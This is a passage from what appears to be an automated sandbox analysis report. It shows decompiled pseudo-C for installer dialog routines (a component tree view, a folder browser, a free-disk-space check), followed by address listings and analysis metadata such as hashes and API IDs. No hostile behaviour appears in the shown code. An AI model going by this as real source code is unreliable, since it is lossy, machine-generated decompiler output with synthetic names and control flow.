                                                                                                        				int _t316;
                                                                                                        				int _t317;
                                                                                                        				signed int _t318;
                                                                                                        				void* _t320;
                                                                                                        
                                                                                                        				_v12 = GetDlgItem(_a4, 0x3f9);
                                                                                                        				_t182 = GetDlgItem(_a4, 0x408);
                                                                                                        				_t280 =  *0x423ec8;
                                                                                                        				_t320 = SendMessageA;
                                                                                                        				_v8 = _t182;
                                                                                                        				_t315 = 0;
                                                                                                        				_v32 = _t280;
                                                                                                        				_v20 =  *0x423eb0 + 0x94;
                                                                                                        				if(_a8 != 0x110) {
                                                                                                        					L23:
                                                                                                        					if(_a8 != 0x405) {
                                                                                                        						_t289 = _a16;
                                                                                                        					} else {
                                                                                                        						_a12 = _t315;
                                                                                                        						_t289 = 1;
                                                                                                        						_a8 = 0x40f;
                                                                                                        						_a16 = 1;
                                                                                                        					}
                                                                                                        					if(_a8 == 0x4e || _a8 == 0x413) {
                                                                                                        						_v16 = _t289;
                                                                                                        						if(_a8 == 0x413 ||  *((intOrPtr*)(_t289 + 4)) == 0x408) {
                                                                                                        							if(( *0x423eb9 & 0x00000002) != 0) {
                                                                                                        								L41:
                                                                                                        								if(_v16 != _t315) {
                                                                                                        									_t232 = _v16;
                                                                                                        									if( *((intOrPtr*)(_t232 + 8)) == 0xfffffe6e) {
                                                                                                        										SendMessageA(_v8, 0x419, _t315,  *(_t232 + 0x5c));
                                                                                                        									}
                                                                                                        									_t233 = _v16;
                                                                                                        									if( *((intOrPtr*)(_t233 + 8)) == 0xfffffe6a) {
                                                                                                        										if( *((intOrPtr*)(_t233 + 0xc)) != 2) {
                                                                                                        											 *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) =  *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) & 0xffffffdf;
                                                                                                        										} else {
                                                                                                        											 *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) =  *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) | 0x00000020;
                                                                                                        										}
                                                                                                        									}
                                                                                                        								}
                                                                                                        								goto L48;
                                                                                                        							}
                                                                                                        							if(_a8 == 0x413) {
                                                                                                        								L33:
                                                                                                        								_t289 = 0 | _a8 != 0x00000413;
                                                                                                        								_t240 = E004047D3(_v8, _a8 != 0x413);
                                                                                                        								if(_t240 >= _t315) {
                                                                                                        									_t93 = _t280 + 8; // 0x8
                                                                                                        									_t310 = _t240 * 0x418 + _t93;
                                                                                                        									_t289 =  *_t310;
                                                                                                        									if((_t289 & 0x00000010) == 0) {
                                                                                                        										if((_t289 & 0x00000040) == 0) {
                                                                                                        											_t298 = _t289 ^ 0x00000001;
                                                                                                        										} else {
                                                                                                        											_t300 = _t289 ^ 0x00000080;
                                                                                                        											if(_t300 >= 0) {
                                                                                                        												_t298 = _t300 & 0xfffffffe;
                                                                                                        											} else {
                                                                                                        												_t298 = _t300 | 0x00000001;
                                                                                                        											}
                                                                                                        										}
                                                                                                        										 *_t310 = _t298;
                                                                                                        										E0040117D(_t240);
                                                                                                        										_t289 = 1;
                                                                                                        										_a8 = 0x40f;
                                                                                                        										_a12 = 1;
                                                                                                        										_a16 =  !( *0x423eb8) >> 0x00000008 & 1;
                                                                                                        									}
                                                                                                        								}
                                                                                                        								goto L41;
                                                                                                        							}
                                                                                                        							_t289 = _a16;
                                                                                                        							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
                                                                                                        								goto L41;
                                                                                                        							}
                                                                                                        							goto L33;
                                                                                                        						} else {
                                                                                                        							goto L48;
                                                                                                        						}
                                                                                                        					} else {
                                                                                                        						L48:
                                                                                                        						if(_a8 != 0x111) {
                                                                                                        							L56:
                                                                                                        							if(_a8 == 0x200) {
                                                                                                        								SendMessageA(_v8, 0x200, _t315, _t315);
                                                                                                        							}
                                                                                                        							if(_a8 == 0x40b) {
                                                                                                        								_t220 =  *0x42047c;
                                                                                                        								if(_t220 != _t315) {
                                                                                                        									ImageList_Destroy(_t220);
                                                                                                        								}
                                                                                                        								_t221 =  *0x420494;
                                                                                                        								if(_t221 != _t315) {
                                                                                                        									GlobalFree(_t221);
                                                                                                        								}
                                                                                                        								 *0x42047c = _t315;
                                                                                                        								 *0x420494 = _t315;
                                                                                                        								 *0x423f00 = _t315;
                                                                                                        							}
                                                                                                        							if(_a8 != 0x40f) {
                                                                                                        								L86:
                                                                                                        								if(_a8 == 0x420 && ( *0x423eb9 & 0x00000001) != 0) {
                                                                                                        									_t316 = (0 | _a16 == 0x00000020) << 3;
                                                                                                        									ShowWindow(_v8, _t316);
                                                                                                        									ShowWindow(GetDlgItem(_a4, 0x3fe), _t316);
                                                                                                        								}
                                                                                                        								goto L89;
                                                                                                        							} else {
                                                                                                        								E004011EF(_t289, _t315, _t315);
                                                                                                        								if(_a12 != _t315) {
                                                                                                        									E0040140B(8);
                                                                                                        								}
                                                                                                        								if(_a16 == _t315) {
                                                                                                        									L73:
                                                                                                        									E004011EF(_t289, _t315, _t315);
                                                                                                        									_v32 =  *0x420494;
                                                                                                        									_t196 =  *0x423ec8;
                                                                                                        									_v60 = 0xf030;
                                                                                                        									_v16 = _t315;
                                                                                                        									if( *0x423ecc <= _t315) {
                                                                                                        										L84:
                                                                                                        										InvalidateRect(_v8, _t315, 1);
                                                                                                        										if( *((intOrPtr*)( *0x42367c + 0x10)) != _t315) {
                                                                                                        											E004046F1(0x3ff, 0xfffffffb, E004047A6(5));
                                                                                                        										}
                                                                                                        										goto L86;
                                                                                                        									}
                                                                                                        									_t281 = _t196 + 8;
                                                                                                        									do {
                                                                                                        										_t202 =  *((intOrPtr*)(_v32 + _v16 * 4));
                                                                                                        										if(_t202 != _t315) {
                                                                                                        											_t291 =  *_t281;
                                                                                                        											_v68 = _t202;
                                                                                                        											_v72 = 8;
                                                                                                        											if((_t291 & 0x00000001) != 0) {
                                                                                                        												_v72 = 9;
                                                                                                        												_v56 =  &(_t281[4]);
                                                                                                        												_t281[0] = _t281[0] & 0x000000fe;
                                                                                                        											}
                                                                                                        											if((_t291 & 0x00000040) == 0) {
                                                                                                        												_t206 = (_t291 & 0x00000001) + 1;
                                                                                                        												if((_t291 & 0x00000010) != 0) {
                                                                                                        													_t206 = _t206 + 3;
                                                                                                        												}
                                                                                                        											} else {
                                                                                                        												_t206 = 3;
                                                                                                        											}
                                                                                                        											_v64 = (_t206 << 0x0000000b | _t291 & 0x00000008) + (_t206 << 0x0000000b | _t291 & 0x00000008) | _t291 & 0x00000020;
                                                                                                        											SendMessageA(_v8, 0x1102, (_t291 >> 0x00000005 & 0x00000001) + 1, _v68);
                                                                                                        											SendMessageA(_v8, 0x110d, _t315,  &_v72);
                                                                                                        										}
                                                                                                        										_v16 = _v16 + 1;
                                                                                                        										_t281 =  &(_t281[0x106]);
                                                                                                        									} while (_v16 <  *0x423ecc);
                                                                                                        									goto L84;
                                                                                                        								} else {
                                                                                                        									_t282 = E004012E2( *0x420494);
                                                                                                        									E00401299(_t282);
                                                                                                        									_t217 = 0;
                                                                                                        									_t289 = 0;
                                                                                                        									if(_t282 <= _t315) {
                                                                                                        										L72:
                                                                                                        										SendMessageA(_v12, 0x14e, _t289, _t315);
                                                                                                        										_a16 = _t282;
                                                                                                        										_a8 = 0x420;
                                                                                                        										goto L73;
                                                                                                        									} else {
                                                                                                        										goto L69;
                                                                                                        									}
                                                                                                        									do {
                                                                                                        										L69:
                                                                                                        										if( *((intOrPtr*)(_v20 + _t217 * 4)) != _t315) {
                                                                                                        											_t289 = _t289 + 1;
                                                                                                        										}
                                                                                                        										_t217 = _t217 + 1;
                                                                                                        									} while (_t217 < _t282);
                                                                                                        									goto L72;
                                                                                                        								}
                                                                                                        							}
                                                                                                        						}
                                                                                                        						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
                                                                                                        							goto L89;
                                                                                                        						} else {
                                                                                                        							_t227 = SendMessageA(_v12, 0x147, _t315, _t315);
                                                                                                        							if(_t227 == 0xffffffff) {
                                                                                                        								goto L89;
                                                                                                        							}
                                                                                                        							_t283 = SendMessageA(_v12, 0x150, _t227, _t315);
                                                                                                        							if(_t283 == 0xffffffff ||  *((intOrPtr*)(_v20 + _t283 * 4)) == _t315) {
                                                                                                        								_t283 = 0x20;
                                                                                                        							}
                                                                                                        							E00401299(_t283);
                                                                                                        							SendMessageA(_a4, 0x420, _t315, _t283);
                                                                                                        							_a12 = 1;
                                                                                                        							_a16 = _t315;
                                                                                                        							_a8 = 0x40f;
                                                                                                        							goto L56;
                                                                                                        						}
                                                                                                        					}
                                                                                                        				} else {
                                                                                                        					 *0x423f00 = _a4;
                                                                                                        					_t285 = 2;
                                                                                                        					_v28 = 0;
                                                                                                        					_v16 = _t285;
                                                                                                        					 *0x420494 = GlobalAlloc(0x40,  *0x423ecc << 2);
                                                                                                        					_t250 = LoadBitmapA( *0x423ea0, 0x6e);
                                                                                                        					 *0x420488 =  *0x420488 | 0xffffffff;
                                                                                                        					_v24 = _t250;
                                                                                                        					 *0x420490 = SetWindowLongA(_v8, 0xfffffffc, E00404E54);
                                                                                                        					_t252 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
                                                                                                        					 *0x42047c = _t252;
                                                                                                        					ImageList_AddMasked(_t252, _v24, 0xff00ff);
                                                                                                        					SendMessageA(_v8, 0x1109, _t285,  *0x42047c);
                                                                                                        					if(SendMessageA(_v8, 0x111c, 0, 0) < 0x10) {
                                                                                                        						SendMessageA(_v8, 0x111b, 0x10, 0);
                                                                                                        					}
                                                                                                        					DeleteObject(_v24);
                                                                                                        					_t286 = 0;
                                                                                                        					do {
                                                                                                        						_t258 =  *((intOrPtr*)(_v20 + _t286 * 4));
                                                                                                        						if( *((intOrPtr*)(_v20 + _t286 * 4)) != _t315) {
                                                                                                        							if(_t286 != 0x20) {
                                                                                                        								_v16 = _t315;
                                                                                                        							}
                                                                                                        							SendMessageA(_v12, 0x151, SendMessageA(_v12, 0x143, _t315, E00405B88(_t286, _t315, _t320, _t315, _t258)), _t286);
                                                                                                        						}
                                                                                                        						_t286 = _t286 + 1;
                                                                                                        					} while (_t286 < 0x21);
                                                                                                        					_t317 = _a16;
                                                                                                        					_t287 = _v16;
                                                                                                        					_push( *((intOrPtr*)(_t317 + 0x30 + _t287 * 4)));
                                                                                                        					_push(0x15);
                                                                                                        					E00403F18(_a4);
                                                                                                        					_push( *((intOrPtr*)(_t317 + 0x34 + _t287 * 4)));
                                                                                                        					_push(0x16);
                                                                                                        					E00403F18(_a4);
                                                                                                        					_t318 = 0;
                                                                                                        					_t288 = 0;
                                                                                                        					if( *0x423ecc <= 0) {
                                                                                                        						L19:
                                                                                                        						SetWindowLongA(_v8, 0xfffffff0, GetWindowLongA(_v8, 0xfffffff0) & 0x000000fb);
                                                                                                        						goto L20;
                                                                                                        					} else {
                                                                                                        						_t311 = _v32 + 8;
                                                                                                        						_v24 = _t311;
                                                                                                        						do {
                                                                                                        							_t268 = _t311 + 0x10;
                                                                                                        							if( *_t268 != 0) {
                                                                                                        								_v60 = _t268;
                                                                                                        								_t269 =  *_t311;
                                                                                                        								_t302 = 0x20;
                                                                                                        								_v84 = _t288;
                                                                                                        								_v80 = 0xffff0002;
                                                                                                        								_v76 = 0xd;
                                                                                                        								_v64 = _t302;
                                                                                                        								_v40 = _t318;
                                                                                                        								_v68 = _t269 & _t302;
                                                                                                        								if((_t269 & 0x00000002) == 0) {
                                                                                                        									if((_t269 & 0x00000004) == 0) {
                                                                                                        										 *( *0x420494 + _t318 * 4) = SendMessageA(_v8, 0x1100, 0,  &_v84);
                                                                                                        									} else {
                                                                                                        										_t288 = SendMessageA(_v8, 0x110a, 3, _t288);
                                                                                                        									}
                                                                                                        								} else {
                                                                                                        									_v76 = 0x4d;
                                                                                                        									_v44 = 1;
                                                                                                        									_t274 = SendMessageA(_v8, 0x1100, 0,  &_v84);
                                                                                                        									_v28 = 1;
                                                                                                        									 *( *0x420494 + _t318 * 4) = _t274;
                                                                                                        									_t288 =  *( *0x420494 + _t318 * 4);
                                                                                                        								}
                                                                                                        							}
                                                                                                        							_t318 = _t318 + 1;
                                                                                                        							_t311 = _v24 + 0x418;
                                                                                                        							_v24 = _t311;
                                                                                                        						} while (_t318 <  *0x423ecc);
                                                                                                        						if(_v28 != 0) {
                                                                                                        							L20:
                                                                                                        							if(_v16 != 0) {
                                                                                                        								E00403F4D(_v8);
                                                                                                        								_t280 = _v32;
                                                                                                        								_t315 = 0;
                                                                                                        								goto L23;
                                                                                                        							} else {
                                                                                                        								ShowWindow(_v12, 5);
                                                                                                        								E00403F4D(_v12);
                                                                                                        								L89:
                                                                                                        								return E00403F7F(_a8, _a12, _a16);
                                                                                                        							}
                                                                                                        						}
                                                                                                        						goto L19;
                                                                                                        					}
                                                                                                        				}
                                                                                                        			}


























































                                                                                                        0x00404871
                                                                                                        0x00404877
                                                                                                        0x00404879
                                                                                                        0x0040487f
                                                                                                        0x00404885
                                                                                                        0x00404892
                                                                                                        0x0040489b
                                                                                                        0x0040489e
                                                                                                        0x004048a1
                                                                                                        0x00404ac9
                                                                                                        0x00404ad0
                                                                                                        0x00404ae4
                                                                                                        0x00404ad2
                                                                                                        0x00404ad4
                                                                                                        0x00404ad7
                                                                                                        0x00404ad8
                                                                                                        0x00404adf
                                                                                                        0x00404adf
                                                                                                        0x00404af0
                                                                                                        0x00404afe
                                                                                                        0x00404b01
                                                                                                        0x00404b17
                                                                                                        0x00404b8f
                                                                                                        0x00404b92
                                                                                                        0x00404b94
                                                                                                        0x00404b9e
                                                                                                        0x00404bac
                                                                                                        0x00404bac
                                                                                                        0x00404bae
                                                                                                        0x00404bb8
                                                                                                        0x00404bbe
                                                                                                        0x00404bdf
                                                                                                        0x00404bc0
                                                                                                        0x00404bcd
                                                                                                        0x00404bcd
                                                                                                        0x00404bbe
                                                                                                        0x00404bb8
                                                                                                        0x00000000
                                                                                                        0x00404b92
                                                                                                        0x00404b1c
                                                                                                        0x00404b27
                                                                                                        0x00404b2c
                                                                                                        0x00404b33
                                                                                                        0x00404b3a
                                                                                                        0x00404b44
                                                                                                        0x00404b44
                                                                                                        0x00404b48
                                                                                                        0x00404b4d
                                                                                                        0x00404b52
                                                                                                        0x00404b68
                                                                                                        0x00404b54
                                                                                                        0x00404b54
                                                                                                        0x00404b5c
                                                                                                        0x00404b63
                                                                                                        0x00404b5e
                                                                                                        0x00404b5e
                                                                                                        0x00404b5e
                                                                                                        0x00404b5c
                                                                                                        0x00404b6c
                                                                                                        0x00404b6e
                                                                                                        0x00404b7c
                                                                                                        0x00404b7d
                                                                                                        0x00404b89
                                                                                                        0x00404b8c
                                                                                                        0x00404b8c
                                                                                                        0x00404b4d
                                                                                                        0x00000000
                                                                                                        0x00404b3a
                                                                                                        0x00404b1e
                                                                                                        0x00404b25
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00404be2
                                                                                                        0x00404be2
                                                                                                        0x00404be9
                                                                                                        0x00404c5d
                                                                                                        0x00404c64
                                                                                                        0x00404c70
                                                                                                        0x00404c70
                                                                                                        0x00404c79
                                                                                                        0x00404c7b
                                                                                                        0x00404c82
                                                                                                        0x00404c85
                                                                                                        0x00404c85
                                                                                                        0x00404c8b
                                                                                                        0x00404c92
                                                                                                        0x00404c95
                                                                                                        0x00404c95
                                                                                                        0x00404c9b
                                                                                                        0x00404ca1
                                                                                                        0x00404ca7
                                                                                                        0x00404ca7
                                                                                                        0x00404cb4
                                                                                                        0x00404e01
                                                                                                        0x00404e08
                                                                                                        0x00404e25
                                                                                                        0x00404e2b
                                                                                                        0x00404e3d
                                                                                                        0x00404e3d
                                                                                                        0x00000000
                                                                                                        0x00404cba
                                                                                                        0x00404cbc
                                                                                                        0x00404cc4
                                                                                                        0x00404cc8
                                                                                                        0x00404cc8
                                                                                                        0x00404cd0
                                                                                                        0x00404d11
                                                                                                        0x00404d13
                                                                                                        0x00404d23
                                                                                                        0x00404d26
                                                                                                        0x00404d2b
                                                                                                        0x00404d32
                                                                                                        0x00404d35
                                                                                                        0x00404dd7
                                                                                                        0x00404ddd
                                                                                                        0x00404deb
                                                                                                        0x00404dfc
                                                                                                        0x00404dfc
                                                                                                        0x00000000
                                                                                                        0x00404deb
                                                                                                        0x00404d3b
                                                                                                        0x00404d3e
                                                                                                        0x00404d44
                                                                                                        0x00404d49
                                                                                                        0x00404d4b
                                                                                                        0x00404d4d
                                                                                                        0x00404d53
                                                                                                        0x00404d5a
                                                                                                        0x00404d5f
                                                                                                        0x00404d66
                                                                                                        0x00404d69
                                                                                                        0x00404d69
                                                                                                        0x00404d70
                                                                                                        0x00404d7c
                                                                                                        0x00404d80
                                                                                                        0x00404d82
                                                                                                        0x00404d82
                                                                                                        0x00404d72
                                                                                                        0x00404d74
                                                                                                        0x00404d74
                                                                                                        0x00404da2
                                                                                                        0x00404dae
                                                                                                        0x00404dbd
                                                                                                        0x00404dbd
                                                                                                        0x00404dbf
                                                                                                        0x00404dc2
                                                                                                        0x00404dcb
                                                                                                        0x00000000
                                                                                                        0x00404cd2
                                                                                                        0x00404cdd
                                                                                                        0x00404ce0
                                                                                                        0x00404ce5
                                                                                                        0x00404ce7
                                                                                                        0x00404ceb
                                                                                                        0x00404cfb
                                                                                                        0x00404d05
                                                                                                        0x00404d07
                                                                                                        0x00404d0a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00404ced
                                                                                                        0x00404ced
                                                                                                        0x00404cf3
                                                                                                        0x00404cf5
                                                                                                        0x00404cf5
                                                                                                        0x00404cf6
                                                                                                        0x00404cf7
                                                                                                        0x00000000
                                                                                                        0x00404ced
                                                                                                        0x00404cd0
                                                                                                        0x00404cb4
                                                                                                        0x00404bf1
                                                                                                        0x00000000
                                                                                                        0x00404c07
                                                                                                        0x00404c11
                                                                                                        0x00404c16
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00404c28
                                                                                                        0x00404c2d
                                                                                                        0x00404c39
                                                                                                        0x00404c39
                                                                                                        0x00404c3b
                                                                                                        0x00404c4a
                                                                                                        0x00404c4c
                                                                                                        0x00404c53
                                                                                                        0x00404c56
                                                                                                        0x00000000
                                                                                                        0x00404c56
                                                                                                        0x00404bf1
                                                                                                        0x004048a7
                                                                                                        0x004048ac
                                                                                                        0x004048b6
                                                                                                        0x004048b7
                                                                                                        0x004048c0
                                                                                                        0x004048cb
                                                                                                        0x004048d6
                                                                                                        0x004048dc
                                                                                                        0x004048ea
                                                                                                        0x004048ff
                                                                                                        0x00404904
                                                                                                        0x0040490f
                                                                                                        0x00404918
                                                                                                        0x0040492d
                                                                                                        0x0040493e
                                                                                                        0x0040494b
                                                                                                        0x0040494b
                                                                                                        0x00404950
                                                                                                        0x00404956
                                                                                                        0x00404958
                                                                                                        0x0040495b
                                                                                                        0x00404960
                                                                                                        0x00404965
                                                                                                        0x00404967
                                                                                                        0x00404967
                                                                                                        0x00404987
                                                                                                        0x00404987
                                                                                                        0x00404989
                                                                                                        0x0040498a
                                                                                                        0x0040498f
                                                                                                        0x00404992
                                                                                                        0x00404995
                                                                                                        0x00404999
                                                                                                        0x0040499e
                                                                                                        0x004049a3
                                                                                                        0x004049a7
                                                                                                        0x004049ac
                                                                                                        0x004049b1
                                                                                                        0x004049b3
                                                                                                        0x004049bb
                                                                                                        0x00404a85
                                                                                                        0x00404a98
                                                                                                        0x00000000
                                                                                                        0x004049c1
                                                                                                        0x004049c4
                                                                                                        0x004049c7
                                                                                                        0x004049ca
                                                                                                        0x004049ca
                                                                                                        0x004049d0
                                                                                                        0x004049d6
                                                                                                        0x004049d9
                                                                                                        0x004049df
                                                                                                        0x004049e0
                                                                                                        0x004049e5
                                                                                                        0x004049ee
                                                                                                        0x004049f5
                                                                                                        0x004049f8
                                                                                                        0x004049fb
                                                                                                        0x004049fe
                                                                                                        0x00404a3a
                                                                                                        0x00404a63
                                                                                                        0x00404a3c
                                                                                                        0x00404a49
                                                                                                        0x00404a49
                                                                                                        0x00404a00
                                                                                                        0x00404a03
                                                                                                        0x00404a12
                                                                                                        0x00404a1c
                                                                                                        0x00404a24
                                                                                                        0x00404a2b
                                                                                                        0x00404a33
                                                                                                        0x00404a33
                                                                                                        0x004049fe
                                                                                                        0x00404a69
                                                                                                        0x00404a6a
                                                                                                        0x00404a76
                                                                                                        0x00404a76
                                                                                                        0x00404a83
                                                                                                        0x00404a9e
                                                                                                        0x00404aa2
                                                                                                        0x00404abf
                                                                                                        0x00404ac4
                                                                                                        0x00404ac7
                                                                                                        0x00000000
                                                                                                        0x00404aa4
                                                                                                        0x00404aa9
                                                                                                        0x00404ab2
                                                                                                        0x00404e3f
                                                                                                        0x00404e51
                                                                                                        0x00404e51
                                                                                                        0x00404aa2
                                                                                                        0x00000000
                                                                                                        0x00404a83
                                                                                                        0x004049bb

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
                                                                                                        • String ID: $M$N
                                                                                                        • API String ID: 1638840714-813528018
                                                                                                        • Opcode ID: dede86c728acf6a11cc3ab5fbc78af527f28fbd96654b5baab0c469e43695f01
                                                                                                        • Instruction ID: 91af9d563adbb526dddc39620d8b288a2aea1bcbb5731436b9e02a5cfbe7d22d
                                                                                                        • Opcode Fuzzy Hash: dede86c728acf6a11cc3ab5fbc78af527f28fbd96654b5baab0c469e43695f01
                                                                                                        • Instruction Fuzzy Hash: AB029FB0E00209AFDB21DF54DD45AAE7BB5FB84315F10817AF610BA2E1C7799A42CF58
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 78%
                                                                                                        			E00404356(struct HWND__* _a4, signed int _a8, unsigned int _a12, intOrPtr _a16) {
                                                                                                        				signed int _v8;
                                                                                                        				struct HWND__* _v12;
                                                                                                        				long _v16;
                                                                                                        				long _v20;
                                                                                                        				char _v24;
                                                                                                        				long _v28;
                                                                                                        				char _v32;
                                                                                                        				intOrPtr _v36;
                                                                                                        				long _v40;
                                                                                                        				signed int _v44;
                                                                                                        				CHAR* _v52;
                                                                                                        				intOrPtr _v56;
                                                                                                        				intOrPtr _v60;
                                                                                                        				intOrPtr _v64;
                                                                                                        				CHAR* _v68;
                                                                                                        				void _v72;
                                                                                                        				char _v76;
                                                                                                        				void* __ebx;
                                                                                                        				void* __edi;
                                                                                                        				void* __esi;
                                                                                                        				intOrPtr _t81;
                                                                                                        				long _t86;
                                                                                                        				signed char* _t88;
                                                                                                        				void* _t94;
                                                                                                        				signed int _t95;
                                                                                                        				signed short _t113;
                                                                                                        				signed int _t117;
                                                                                                        				char* _t122;
                                                                                                        				intOrPtr* _t138;
                                                                                                        				signed int* _t145;
                                                                                                        				signed int _t148;
                                                                                                        				signed int _t153;
                                                                                                        				struct HWND__* _t159;
                                                                                                        				CHAR* _t162;
                                                                                                        				int _t163;
                                                                                                        
                                                                                                        				_t81 =  *0x41fc70;
                                                                                                        				_v36 = _t81;
                                                                                                        				_t162 = ( *(_t81 + 0x3c) << 0xa) + 0x424000;
                                                                                                        				_v8 =  *((intOrPtr*)(_t81 + 0x38));
                                                                                                        				if(_a8 == 0x40b) {
                                                                                                        					E0040540B(0x3fb, _t162);
                                                                                                        					E00405DC8(_t162);
                                                                                                        				}
                                                                                                        				if(_a8 != 0x110) {
                                                                                                        					L8:
                                                                                                        					if(_a8 != 0x111) {
                                                                                                        						L20:
                                                                                                        						if(_a8 == 0x40f) {
                                                                                                        							L22:
                                                                                                        							_v8 = _v8 & 0x00000000;
                                                                                                        							_v12 = _v12 & 0x00000000;
                                                                                                        							E0040540B(0x3fb, _t162);
                                                                                                        							if(E0040573A(_t180, _t162) == 0) {
                                                                                                        								_v8 = 1;
                                                                                                        							}
                                                                                                        							E00405B66(0x41f468, _t162);
                                                                                                        							_t145 = 0;
                                                                                                        							_t86 = E00405E88(0);
                                                                                                        							_v16 = _t86;
                                                                                                        							if(_t86 == 0) {
                                                                                                        								L31:
                                                                                                        								E00405B66(0x41f468, _t162);
                                                                                                        								_t88 = E004056ED(0x41f468);
                                                                                                        								if(_t88 != _t145) {
                                                                                                        									 *_t88 =  *_t88 & 0x00000000;
                                                                                                        								}
                                                                                                        								if(GetDiskFreeSpaceA(0x41f468,  &_v20,  &_v28,  &_v16,  &_v40) == 0) {
                                                                                                        									_t153 = _a8;
                                                                                                        									goto L37;
                                                                                                        								} else {
                                                                                                        									_t163 = 0x400;
                                                                                                        									_t153 = MulDiv(_v20 * _v28, _v16, 0x400);
                                                                                                        									_v12 = 1;
                                                                                                        									goto L38;
                                                                                                        								}
                                                                                                        							} else {
                                                                                                        								if(0 == 0x41f468) {
                                                                                                        									L30:
                                                                                                        									_t145 = 0;
                                                                                                        									goto L31;
                                                                                                        								} else {
                                                                                                        									goto L26;
                                                                                                        								}
                                                                                                        								while(1) {
                                                                                                        									L26:
                                                                                                        									_t113 = _v16(0x41f468,  &_v44,  &_v24,  &_v32);
                                                                                                        									if(_t113 != 0) {
                                                                                                        										break;
                                                                                                        									}
                                                                                                        									if(_t145 != 0) {
                                                                                                        										 *_t145 =  *_t145 & _t113;
                                                                                                        									}
                                                                                                        									_t145 = E004056A0(0x41f468) - 1;
                                                                                                        									 *_t145 = 0x5c;
                                                                                                        									if(_t145 != 0x41f468) {
                                                                                                        										continue;
                                                                                                        									} else {
                                                                                                        										goto L30;
                                                                                                        									}
                                                                                                        								}
                                                                                                        								_t153 = (_v40 << 0x00000020 | _v44) >> 0xa;
                                                                                                        								_v12 = 1;
                                                                                                        								_t145 = 0;
                                                                                                        								L37:
                                                                                                        								_t163 = 0x400;
                                                                                                        								L38:
                                                                                                        								_t94 = E004047A6(5);
                                                                                                        								if(_v12 != _t145 && _t153 < _t94) {
                                                                                                        									_v8 = 2;
                                                                                                        								}
                                                                                                        								if( *((intOrPtr*)( *0x42367c + 0x10)) != _t145) {
                                                                                                        									E004046F1(0x3ff, 0xfffffffb, _t94);
                                                                                                        									if(_v12 == _t145) {
                                                                                                        										SetDlgItemTextA(_a4, _t163, 0x41f458);
                                                                                                        									} else {
                                                                                                        										E004046F1(_t163, 0xfffffffc, _t153);
                                                                                                        									}
                                                                                                        								}
                                                                                                        								_t95 = _v8;
                                                                                                        								 *0x423f44 = _t95;
                                                                                                        								if(_t95 == _t145) {
                                                                                                        									_v8 = E0040140B(7);
                                                                                                        								}
                                                                                                        								if(( *(_v36 + 0x14) & _t163) != 0) {
                                                                                                        									_v8 = _t145;
                                                                                                        								}
                                                                                                        								E00403F3A(0 | _v8 == _t145);
                                                                                                        								if(_v8 == _t145 &&  *0x42048c == _t145) {
                                                                                                        									E004042EB();
                                                                                                        								}
                                                                                                        								 *0x42048c = _t145;
                                                                                                        								goto L53;
                                                                                                        							}
                                                                                                        						}
                                                                                                        						_t180 = _a8 - 0x405;
                                                                                                        						if(_a8 != 0x405) {
                                                                                                        							goto L53;
                                                                                                        						}
                                                                                                        						goto L22;
                                                                                                        					}
                                                                                                        					_t117 = _a12 & 0x0000ffff;
                                                                                                        					if(_t117 != 0x3fb) {
                                                                                                        						L12:
                                                                                                        						if(_t117 == 0x3e9) {
                                                                                                        							_t148 = 7;
                                                                                                        							memset( &_v72, 0, _t148 << 2);
                                                                                                        							_v76 = _a4;
                                                                                                        							_v68 = 0x4204a0;
                                                                                                        							_v56 = E0040468B;
                                                                                                        							_v52 = _t162;
                                                                                                        							_v64 = E00405B88(0x3fb, 0x4204a0, _t162, 0x41f870, _v8);
                                                                                                        							_t122 =  &_v76;
                                                                                                        							_v60 = 0x41;
                                                                                                        							__imp__SHBrowseForFolderA(_t122);
                                                                                                        							if(_t122 == 0) {
                                                                                                        								_a8 = 0x40f;
                                                                                                        							} else {
                                                                                                        								__imp__CoTaskMemFree(_t122);
                                                                                                        								E00405659(_t162);
                                                                                                        								_t125 =  *((intOrPtr*)( *0x423eb0 + 0x11c));
                                                                                                        								if( *((intOrPtr*)( *0x423eb0 + 0x11c)) != 0 && _t162 == "C:\\Users\\jones\\AppData\\Local\\Temp") {
                                                                                                        									E00405B88(0x3fb, 0x4204a0, _t162, 0, _t125);
                                                                                                        									if(lstrcmpiA(0x422e40, 0x4204a0) != 0) {
                                                                                                        										lstrcatA(_t162, 0x422e40);
                                                                                                        									}
                                                                                                        								}
                                                                                                        								 *0x42048c =  &(( *0x42048c)[0]);
                                                                                                        								SetDlgItemTextA(_a4, 0x3fb, _t162);
                                                                                                        							}
                                                                                                        						}
                                                                                                        						goto L20;
                                                                                                        					}
                                                                                                        					if(_a12 >> 0x10 != 0x300) {
                                                                                                        						goto L53;
                                                                                                        					}
                                                                                                        					_a8 = 0x40f;
                                                                                                        					goto L12;
                                                                                                        				} else {
                                                                                                        					_t159 = _a4;
